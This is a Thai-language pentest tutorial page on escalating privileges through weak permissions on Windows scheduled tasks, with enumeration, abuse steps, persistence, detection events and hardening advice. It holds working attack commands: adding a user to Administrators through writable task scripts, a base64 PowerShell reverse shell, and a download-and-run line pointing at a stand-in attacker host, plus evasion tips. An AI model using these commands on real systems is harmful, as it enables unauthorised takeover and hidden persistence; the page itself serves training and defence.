คลัง
windows-privesc

Scheduled Tasks

Scheduled Tasks คืองานที่ Windows Task Scheduler รันตามเวลา/เงื่อนไข หลาย task รันด้วยสิทธิ์ <strong>SYSTEM</strong> หรือ admin ถ้า task เรียก binary/script/DLL ที่เราเขียนทับได้ (weak permission) เราก็ยกระดับเป็นสิทธิ์ที่ task รันได้ (privesc) หรือใช้เป็น persistence บทนี้ลงลึกการ enumerate task, การอ่าน run-as + action, การตรวจ permission ด้วย accesschk/icacls, การ abuse ทั้ง writable binary / writable folder / argument injection, คำสั่ง at เดิม, การตรวจจับและป้องกัน (เนื้อหาเพื่อฝึกในระบบที่ได้รับอนุญาตเท่านั้น)

Intermediate#scheduled-tasks#windows#privesc#schtasks#task-scheduler#writable#system#at

1. หลักการ — ทำไม task เปิดช่อง privesc

Scheduled task ทำงานเทียบได้กับ cron บน Linux — รันตามเวลา/event/logon โดยแต่ละ task ระบุ Principal (run-as) ว่าจะรันด้วยบัญชีใด และ Action ว่าจะรัน binary/script อะไร ช่องโหว่เกิดเมื่อ task รันด้วยสิทธิ์สูง (SYSTEM/admin) แต่ไฟล์หรือโฟลเดอร์ที่ task เรียก เรามีสิทธิ์เขียน — เราแทนที่ด้วย payload แล้วรอ task รัน (หรือ trigger) → payload รันด้วยสิทธิ์ของ task

Scheduled Task privesc
Task (run as SYSTEM) trigger ตามเวลา C:\Scripts\cleanup.bat เราเขียนทับได้ (weak ACL) payload รัน = SYSTEM แทนไฟล์ → รอ/trigger → ยกระดับเป็น SYSTEM
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. Enumeration — list task + run-as + action

list tasks (schtasks + PowerShell)Windows
# list task ทั้งหมดแบบ verbose (เห็น Run As + Task To Run)
schtasks /query /fo LIST /v

# กรองเฉพาะฟิลด์สำคัญ
schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"

# PowerShell — เห็น principal + action ชัดกว่า
Get-ScheduledTask | Where-Object {$_.Principal.UserId -match "SYSTEM|Administrator"} |
  Select-Object TaskName, TaskPath, @{n='RunAs';e={$_.Principal.UserId}}

# ดู action (binary/args) ของ task เจาะจง
(Get-ScheduledTask -TaskName "BackupJob").Actions | Format-List *

# ไฟล์ XML ของ task (มี Command/Arguments เต็ม) อยู่ที่
#   C:\Windows\System32\Tasks\<TaskName>
type C:\Windows\System32\Tasks\BackupJob
มองหา task ที่ Run As = SYSTEM/Administrator แล้ว Task To Run ชี้ไป binary/script ที่อาจเขียนได้
task ของ third-party software (backup, antivirus updater, custom script) มักตั้ง action ชี้ไปไฟล์ใน C:\Program Files\.. หรือ C:\Scripts\.. ที่บางครั้ง ACL หลวม — ตรงข้ามกับ task ในตัว Windows ที่ ACL มักแน่น

3. ตรวจ permission ของไฟล์/โฟลเดอร์ที่ task เรียก

accesschk / icaclsWindows
# ตรวจว่าเราเขียนไฟล์ที่ task เรียกได้ไหม (accesschk - Sysinternals)
accesschk.exe -accepteula -quvw "C:\Scripts\cleanup.bat"
# มองหา RW/W ให้ Everyone / Authenticated Users / กลุ่มที่เราอยู่

# icacls (มีมากับ Windows — ไม่ต้องนำ tool เข้า)
icacls "C:\Scripts\cleanup.bat"
#  (F)=Full (M)=Modify (W)=Write  → BUILTIN\Users:(M) = เขียนได้!

# ตรวจทั้งโฟลเดอร์ (เผื่อลบ/สร้างไฟล์ใหม่แทนได้)
icacls "C:\Scripts"
accesschk.exe -accepteula -quvd "C:\Scripts"

# หา binary ที่ task เรียกทั้งระบบแล้วตรวจ writable อัตโนมัติ (winPEAS ทำให้)
# winPEAS: มองหมวด "Scheduled Applications --Non Microsoft--"
icacls แสดง (M)/(W)/(F) ให้กลุ่มเรา = เขียนได้; ตรวจทั้งไฟล์และโฟลเดอร์ (writable folder ก็ abuse ได้)
สิ่งที่เจอช่องทาง abuse
ไฟล์ script/binary เขียนได้ (M/W/F)แทนที่เนื้อไฟล์ด้วย payload
โฟลเดอร์เขียนได้ แต่ไฟล์เขียนไม่ได้ลบไฟล์เดิม → สร้างใหม่ชื่อเดิม
binary โหลด DLL ที่หาไม่เจอDLL hijacking วาง DLL ใน path ค้นหา
task ส่ง argument จาก path ที่คุมได้argument / path injection
task XML เขียนได้แก้ Command ชี้ payload ตรง ๆ

4. Abuse — แทนที่ writable task binary/script

เขียน payload ใส่ไฟล์ที่ task เรียกWindows
# กรณี A: script (.bat/.ps1) เขียนได้ → append/แทน payload
echo net localgroup administrators lowpriv /add >> C:\Scripts\cleanup.bat
# หรือ reverse shell:
echo powershell -e <base64-payload> >> C:\Scripts\cleanup.bat

# กรณี B: .exe เขียนได้ → แทนด้วย payload exe (สำรองของเดิมไว้ก่อน)
copy C:\Tasks\run.exe C:\Tasks\run.exe.bak
copy C:\Temp\payload.exe C:\Tasks\run.exe

# trigger task (ถ้ามีสิทธิ์สั่ง) หรือรอถึงเวลา
schtasks /run /tn "BackupJob"

# ตรวจผล
net localgroup administrators
whoami /groups | findstr /i "S-1-5-32-544"   # อยู่ใน Administrators แล้ว?
append คำสั่ง add admin ลง .bat ที่รันเป็น SYSTEM = privesc; สำรองไฟล์เดิมไว้เสมอเพื่อคืนค่า
กรณี writable folder — ลบแล้วสร้างใหม่Windows
# ไฟล์เขียนไม่ได้ แต่โฟลเดอร์เขียนได้ (มีสิทธิ์ Delete/Create ใน folder)
del C:\Scripts\cleanup.bat
echo net localgroup administrators lowpriv /add > C:\Scripts\cleanup.bat
schtasks /run /tn "BackupJob"

# reverse shell กลับ (nc listener ฝั่งเรา: nc -lvnp 443)
# payload.ps1: IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/rev.ps1')
writable folder = สิทธิ์เทียบเท่า writable file สำหรับ task; ระวังกู้ไฟล์เดิมคืนตอนจบงาน
ถ้า task รันด้วย Administrator (ไม่ใช่ SYSTEM) payload จะได้สิทธิ์ admin — จากนั้นค่อย escalate เป็น SYSTEM ต่อผ่าน token abuse / service ได้ ดูหัวข้อ Token Abuse และ Services

5. สร้าง task เอง (persistence) + at เดิม

สร้าง task เป็น persistence (มีสิทธิ์แล้ว)Windows
# สร้าง task รันเป็น SYSTEM ทุก logon (ต้องมี admin แล้ว — persistence)
schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" \
    /sc onlogon /ru SYSTEM /f

# รันทุก 5 นาที
schtasks /create /tn "Beacon" /tr "C:\Temp\b.exe" /sc minute /mo 5 /ru SYSTEM

# คำสั่ง at เดิม (Windows เก่า / บาง lab) — รันเป็น SYSTEM เสมอ
at 13:00 C:\Temp\payload.exe          # (legacy, ปิดใน Windows ใหม่)

# ลบ task
schtasks /delete /tn "Updater" /f
schtasks /create /ru SYSTEM = persistence เมื่อมี admin แล้ว; at เดิมรันเป็น SYSTEM แต่ถูกปิดใน Windows รุ่นใหม่

6. Decision Flow

Scheduled task privesc
list task + run-as (schtasks /query /v)
มี task รันเป็น SYSTEM/admin ไหม?
ไม่มีไปทางอื่น (services/registry/token)
มีดู action ที่ task เรียก
ตรวจ permission ไฟล์/โฟลเดอร์ (accesschk/icacls)
เขียนได้แบบไหน?
ไฟล์เขียนได้แทน payload
โฟลเดอร์เขียนได้ลบ+สร้างใหม่
binary โหลด DLL หายDLL hijacking
trigger (schtasks /run) หรือรอเวลา

7. การตรวจจับ & OPSEC

สัญญาณตรวจที่ไหนหมายเหตุ
สร้าง/แก้ scheduled taskEvent 4698 / 4702task ใหม่หรือถูกแก้ไข
task ถูกลบEvent 4699ลบเพื่อ cleanup
task ถูก triggerEvent 4700/4701 / 200-201 (TaskScheduler/Operational)run/enable
ไฟล์ที่ task เรียกถูกแก้file integrity monitoringhash เปลี่ยน
process แปลก spawn จาก svchost/taskengSysmon Event 1payload.exe จาก task
  • OPSEC: สำรองไฟล์เดิมและคืนค่าหลัง trigger เพื่อลดร่องรอย (task กลับมาทำงานปกติ)
  • OPSEC: ตั้งชื่อ task ที่สร้างให้ดูปกติ (เลี่ยงชื่อชัด ๆ อย่าง 'backdoor')
  • OPSEC: การ append คำสั่ง add admin ลง script ที่คนเห็นได้ = ถูกตรวจง่าย; พิจารณา reverse shell แทน

8. Blue Team — การป้องกัน

  • เข้มงวด ACL: ไฟล์/โฟลเดอร์ที่ scheduled task เรียกต้องเขียนได้เฉพาะ admin/SYSTEM — ตรวจด้วย accesschk เป็นระยะ
  • ใช้ full path + quote: action ควรระบุ path เต็มและใส่ quote (ลด argument/unquoted path injection)
  • ลด task ที่รันเป็น SYSTEM: ใช้ least-privilege service account แทน SYSTEM ถ้าเป็นไปได้
  • Monitor Event 4698/4702 การสร้าง/แก้ task โดยเฉพาะที่ run-as SYSTEM
  • Application allowlisting (WDAC/AppLocker): จำกัด binary ที่รันได้ แม้ไฟล์ถูกแทน
  • File integrity monitoring บน script/binary ที่ task สำคัญเรียก

9. Walkthrough — CTF & real engagement

  1. 1ได้ shell เป็น user ธรรมดา → รัน winPEAS หรือ schtasks /query /fo LIST /v
  2. 2พบ task 'SystemBackup' รันเป็น SYSTEM ทุก 5 นาที เรียก C:\Scripts\backup.bat
  3. 3icacls C:\Scripts\backup.bat → BUILTIN\Users:(M) = เขียนได้
  4. 4สำรอง: copy backup.bat backup.bat.bak
  5. 5echo net localgroup administrators pentester /add >> C:\Scripts\backup.bat
  6. 6รอ 5 นาที (หรือ schtasks /run /tn SystemBackup ถ้ามีสิทธิ์)
  7. 7net localgroup administrators → เห็น pentester → ยกระดับสำเร็จ
  8. 8คืนไฟล์เดิม: copy /y backup.bat.bak backup.bat และรายงานใน engagement

10. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา

  • ไม่ตรวจ run-as: แทนไฟล์ของ task ที่รันเป็น user ธรรมดา = ไม่ได้ privesc — ต้องเป็น SYSTEM/admin
  • ตรวจ permission ผิดตัว: ต้องตรวจไฟล์ 'ที่ task เรียกจริง' (จาก Actions/XML) ไม่ใช่ตัว task เอง
  • ไม่มีสิทธิ์ /run: user ธรรมดา trigger task ของ SYSTEM ไม่ได้ — ต้องรอถึงเวลา schedule
  • AV จับ payload: .exe/.ps1 payload ตรง ๆ อาจโดน AV — ใช้ LOLBin หรือ obfuscation ตามขอบเขตที่อนุญาต
  • ลืมคืนไฟล์: task พังเพราะ script ถูกแทน — สำรองและคืนค่าเดิมเสมอ
  • path มี space ไม่ quote: ถ้า action เป็น C:\Program Files\... โดยไม่ quote อาจเป็น unquoted path (ดู Unquoted Service Path) แทน

11. Quick Reference

  • scheduled task รันตามเวลา มัก SYSTEM (คล้าย cron)
  • list: schtasks /query /fo LIST /v; PowerShell Get-ScheduledTask
  • run-as SYSTEM: where Principal.UserId -eq SYSTEM; XML ที่ C:\Windows\System32\Tasks
  • ตรวจ perm: accesschk -quvw file / icacls file (มองหา M/W/F)
  • abuse: แทน payload ในไฟล์ที่ task เรียก → schtasks /run /tn ... (หรือรอ)
  • ไฟล์เขียนไม่ได้ แต่โฟลเดอร์ได้ → ลบ+สร้างใหม่; หรือ DLL hijack
  • persistence: schtasks /create /ru SYSTEM /sc onlogon
  • ป้องกัน: ACL แน่น, full path+quote, monitor Event 4698/4702, AppLocker

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ enum เจอ scheduled task ที่น่าสงสัย มีแค่ Kali ทำตามนี้ทีละขั้น

  1. 1list task ทั้งหมด: schtasks /query /fo LIST /v แล้วกรอง findstr /i "TaskName Run As User Task To Run"
  2. 2ถ้ามี winPEAS รันด้วย (.\wp.exe quiet cmd fast) จะช่วย highlight หมวด Scheduled Applications ให้
  3. 3หา task ที่ Run As = SYSTEM/Administrator แล้วดู action ที่มันเรียก (path ของ binary/script)
  4. 4ตรวจ permission ของไฟล์นั้น: icacls "C:\Scripts\cleanup.bat" มองหา (M)/(W)/(F) ให้กลุ่มเรา
  5. 5ถ้าเขียนได้ สำรองไฟล์เดิมก่อน: copy cleanup.bat cleanup.bat.bak
  6. 6append payload: echo net localgroup administrators /add >> cleanup.bat
  7. 7trigger task ทันที (ถ้ามีสิทธิ์): schtasks /run /tn "TaskName" หรือรอตามเวลา
  8. 8เช็คผล: net localgroup administrators
  9. 9ถ้าไฟล์เขียนไม่ได้แต่โฟลเดอร์เขียนได้ ให้ลบไฟล์เดิมแล้วสร้างใหม่ชื่อเดิมด้วย payload แทน
  10. 10ถ้าไม่มี task ไหนเขียนได้เลย ให้ไปเช็ค Windows Services หรือ DLL hijacking ของ binary ที่ task เรียกแทน
ตัดสินใจ: scheduled task ใช้ privesc ได้ไหม
list task (schtasks /query /fo LIST /v) หรือรัน winPEAS
มี task รันเป็น SYSTEM/admin ที่เรียก binary/script ไหม?
❌ ไม่มี→ ไปเช็ค Windows Services แทน
✅ มี→ ตรวจ permission ไฟล์ที่มันเรียก
icacls / accesschk ตรวจไฟล์+โฟลเดอร์
เขียนได้แบบไหน?
✅ ไฟล์/โฟลเดอร์เขียนได้→ แทน payload แล้ว trigger
❌ เขียนไม่ได้ แต่โหลด DLL ที่หาย→ ลอง DLL hijacking แทน
❌ ปิดหมดจริงๆ→ ตัน ไปเช็ค service/registry ต่อ
schtasks /run /tn TaskName (หรือรอเวลา)
net localgroup administrators — เห็น user เราไหม?
✅ เห็น→ สำเร็จ! เป็น admin/SYSTEM แล้ว
❌ ไม่เห็น→ เช็ค syntax payload ใหม่ หรือรอ trigger รอบถัดไป
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
list/ดู scheduled taskschtasks / PowerShell--
enum อัตโนมัติwinPEAS-winpeas (GitHub release PEASS-ng)
ตรวจ writable file/foldericacls / accesschk.exe--
ส่ง payload/tool เข้าเป้าหมายpython3 -m http.server--
สร้าง reverse shell payloadmsfvenom-revshells.com
เข้า shell ถ้ามี creds แล้วevil-winrm / impacket-wmiexecpipx install impacket-
🚑 ถ้าตันสนิท ลองท่าถัดไป: DLL Hijacking (ถ้า binary ที่ task เรียกโหลด DLL หาย), Win Services, Registry (autorun/credential), หรือถ้าตันจริงๆ ไปหา credential จาก Credential Dumping

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้